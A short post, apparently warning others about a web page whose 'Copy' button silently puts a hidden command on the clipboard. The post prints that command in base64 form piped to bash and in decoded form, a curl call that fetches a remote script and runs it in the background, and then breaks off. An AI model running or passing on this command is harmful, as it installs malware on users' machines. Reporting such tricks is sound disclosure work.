Oh, wow! This is new.
As you probably already guessed when you click "Copy" - it doesn't copy the text that it shows. Instead it is:
echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash
which decodes to:
curl -s https://gamma.secureapimiddleware.com/strix/index.php | nohup bash &
and this in turn becomes a full-blown malware: